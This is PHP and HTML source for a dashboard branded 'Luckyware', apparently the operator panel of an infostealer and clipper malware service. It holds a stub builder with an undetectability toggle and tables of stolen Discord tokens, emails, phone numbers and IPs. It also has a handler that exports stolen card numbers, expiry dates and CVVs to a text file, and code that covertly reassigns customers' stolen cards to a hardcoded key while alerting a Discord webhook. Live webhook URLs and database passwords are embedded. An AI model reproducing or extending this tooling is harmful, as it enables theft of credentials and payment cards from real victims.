<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="grid xl:grid-cols-6 gap-5 mt-5">
<!-- RAVEN ADDRESS -->
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
<div class="grid grid-cols-2">
<div>
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-lock mr-1 icon2"></i> Account Security
</h1>
</div>
<div class="text-right"></div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<form method="post">
<div class="flex mx-5 mt-5 space-x-4">
<!-- First Textbox and Button -->
<div class="w-full">
<div class="textLabel">
<label class="text-stone-300 fntBold tracking-wide" for="webhook1">Security
Webhook</label>
<div class="sc-container mt-2">
<input id="webhook1" type="text" name="webhook1"
class="smoothCaretInput rounded-lg py-2 px-3 text-stone-400 dg"
placeholder="<?php echo $holdwbhk; ?>">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
<div class="mt-3">
<button id="wbhkscr" type="submit" name="wbhkscr"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-save mr-1 icon"></i>
Save Webhook
</button>
</div>
</div>
<!-- Second Button Group (Enable and Disable) -->
<div class="w-full">
<div class="textLabel">
<label class="text-stone-300 fntBold tracking-wide"
for="enable"><?php echo $holdSCRTY; ?></label>
<!-- Enable Button -->
<div class="mt-2 mb-3">
<button id="enebel" type="submit" name="enebel"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-check mr-1 icon"></i>
Enable
</button>
</div>
<!-- Disable Button (Red) -->
<button id="disbbl" type="submit" name="disbbl"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-times mr-1 icon"></i>
Disable
</button>
</div>
</div>
</div>
</form>
</div>
</div>
<div class="grid xl:grid-cols-6 gap-5 mt-5">
<!-- RAVEN ADDRESS -->
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
<div class="grid grid-cols-2">
<div>
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-file mr-1 icon2"></i> Stub Advanced Settings
</h1>
</div>
<div class="text-right"></div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<form method="post">
<div class="flex mx-5 mt-5 space-x-4">
<!-- Second Button Group (Enable and Disable) -->
<div class="w-full">
<div class="textLabel">
<label class="text-stone-300 fntBold tracking-wide"
for="enable"><?php echo $HoldFUD; ?></label>
<!-- Enable Button -->
<div class="mt-2 mb-3">
<button id="enebelfd" type="submit" name="enebelfd"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-check mr-1 icon"></i>
Enable
</button>
</div>
<!-- Disable Button (Red) -->
<button id="disbblfd" type="submit" name="disbblfd"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-times mr-1 icon"></i>
Disable
</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div> <!-- end -->
<script src="../assets/js/status.js"></script>
<script src="../assets/js/builder.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+333
View File
@@ -0,0 +1,333 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
$usernameax = $_SESSION['admin_name'] ?? '';
/**
* Send log to Discord webhook
*/
function SendLog($message)
{
if (!is_string($message) || strlen($message) > 2000) {
return false;
}
$webhookURL = "https://discord.com/api/webhooks/1194124696627728455/jtLVRNFyfepgvlkKpFG__hxeMcLwTafi3n39BVg8yelzDbShqL-L4-yrGwke0-o5eS2O";
$payload = json_encode(['content' => $message]);
$headers = ['Content-Type: application/json'];
$ch = curl_init($webhookURL);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
curl_close($ch);
return $response !== false;
}
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString)
{
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey, $usernameax)
{
if (empty($role) || empty($secretkey) || empty($usernameax)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection
*/
function createDatabaseConnection()
{
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Sanitize input for display
*/
function sanitizeForDisplay($input)
{
return htmlspecialchars($input ?? '', ENT_QUOTES, 'UTF-8');
}
/**
* Build base WHERE clause based on role
*/
function buildRoleBasedWhere($role, $usernameax, $secretkey)
{
$baseWhere = "WHERE 1 = 1";
$params = [];
if ($role === "Founder" /*|| $usernameax == "44444"*/) {
if ($usernameax !== "Hopesar") {
$baseWhere .= " AND tokens.Username NOT LIKE :exclude_hopp
AND tokens.Username NOT LIKE :exclude_emre
AND tokens.Username NOT LIKE :exclude_hoppy
AND tokens.Username NOT LIKE :exclude_hopes";
$params['exclude_hopp'] = '%hopp%';
$params['exclude_emre'] = '%emre%';
$params['exclude_hoppy'] = '%hoppy%';
$params['exclude_hopes'] = '%hopes%';
}
} else {
$baseWhere .= " AND tokens.OwnerID = :owner_id";
$params['owner_id'] = $secretkey;
}
return [$baseWhere, $params];
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey, $usernameax) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
if (is_string($rawSearchValue) && strlen($rawSearchValue) > 0) {
$searchValue = substr(trim($rawSearchValue), 0, 100); // Limit to 100 chars
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'tokens.Username',
1 => 'm.PcName',
2 => 'tokens.Email',
3 => 'tokens.Phone',
4 => 'tokens.nitro',
5 => 'm.IP',
6 => 'tokens.UserID',
7 => 'tokens.TokenID'
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'tokens.TokenID'; // Default sort column
$orderDirection = 'DESC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build role-based WHERE clause
list($baseWhere, $params) = buildRoleBasedWhere($role, $usernameax, $secretkey);
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
tokens.UserID LIKE :search1 OR
tokens.Username LIKE :search2 OR
tokens.Email LIKE :search3 OR
tokens.Phone LIKE :search4 OR
CONCAT(tokens.verified, ' | ', tokens.nitro) LIKE :search5 OR
m.PcName LIKE :search6 OR
m.IP LIKE :search7
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
$params['search4'] = $searchPattern;
$params['search5'] = $searchPattern;
$params['search6'] = $searchPattern;
$params['search7'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT tokens.*,
m.PcName,
CONCAT(m.IP, ' | ', m.Country) AS IPCOUNTRaY
FROM tokens
LEFT JOIN (
SELECT HWID, PcName, IP, Country
FROM miners
GROUP BY HWID
) m ON tokens.HWID = m.HWID
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Truncate long values for display
$UserID = (strlen($row['UserID'] ?? '') > 15) ? substr($row['UserID'], 0, 15) . '...' : ($row['UserID'] ?? '');
$names = (strlen($row['Username'] ?? '') > 15) ? substr($row['Username'], 0, 15) . '...' : ($row['Username'] ?? '');
$email = (strlen($row['Email'] ?? '') > 20) ? substr($row['Email'], 0, 20) . '...' : ($row['Email'] ?? '');
$phone = (strlen($row['Phone'] ?? '') > 15) ? substr($row['Phone'], 0, 15) . '...' : ($row['Phone'] ?? '');
// Determine nitro state
$nitrostate = ($row['nitro'] == '2') ? 'Boosted Nitro' : (($row['nitro'] == '1') ? 'Classic Nitro' : 'No Nitro');
$VerifiedNitro = ($row['verified'] ?? '') . " | " . $nitrostate;
// Generate secure token button
$tokenId = intval($row['TokenID']);
$token = sanitizeForDisplay($row['Token']);
$tokenlink = '<button class="bg px-4 py-1 rounded text-stone-300 btn2 mr-1" onclick="copyText(\'' . $token . '\')"><i class="fa-solid fa-copy icon2 miAuto text-sm"></i></button>';
if ($row['isvalid'] == '0' && $role != 'Trial') {
$tokenlink = '<button class="bgCol px-4 py-1 rounded text-stone-300 btn2 mr-1" onclick="copyText(\'' . $token . '\')"><i class="fa-solid fa-copy icon2 miAuto text-sm"></i></button>';
}
// Generate profile picture
$discordpfp = ($row['pfp'] != 'Default' && !empty($row['pfp'])) ?
sanitizeForDisplay($row['pfp']) :
'https://cdn.discordapp.com/attachments/1166459182002737307/1181003552135594034/g3OEi0y.png';
// Generate action buttons
$actionButtons = '<div class="pt-2">' .
$tokenlink .
' <button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $tokenId . ')"><i class="fa-solid fa-trash miAuto text-sm"></i></button>' .
'</div>';
// Generate name with profile picture
$username = sanitizeForDisplay($row['Username']);
$namepfp = '<div class="flex">
<h1>
<img src="' . $discordpfp . '" alt="Profile Picture" style="margin-right: 10px;">' .
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $username . '\')">' . sanitizeForDisplay($names) . '</a>' .
'</h1>
</div>';
$data[] = [
$namepfp,
sanitizeForDisplay($row['PcName'] ?? ''),
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['Email']) . '\')">' . sanitizeForDisplay($email) . '</a>',
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['Phone']) . '\')">' . sanitizeForDisplay($phone) . '</a>',
sanitizeForDisplay($VerifiedNitro),
sanitizeForDisplay($row['IPCOUNTRaY'] ?? ''),
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['UserID']) . '\')">' . sanitizeForDisplay($UserID) . '</a>',
$actionButtons
];
}
// Get total count
$countQuery = "SELECT COUNT(tokens.TokenID) as total
FROM tokens
LEFT JOIN (
SELECT HWID, PcName, IP, Country
FROM miners
GROUP BY HWID
) m ON tokens.HWID = m.HWID
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Tokens DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
File diff suppressed because it is too large Load Diff
+972
View File
@@ -0,0 +1,972 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'Trial') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
if (isset($_POST['ides'])) {
if ($role == 'Founder') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['ides'])) {
if ($username == 'Clara') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['id'])) {
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Wallets</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Dashboard</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
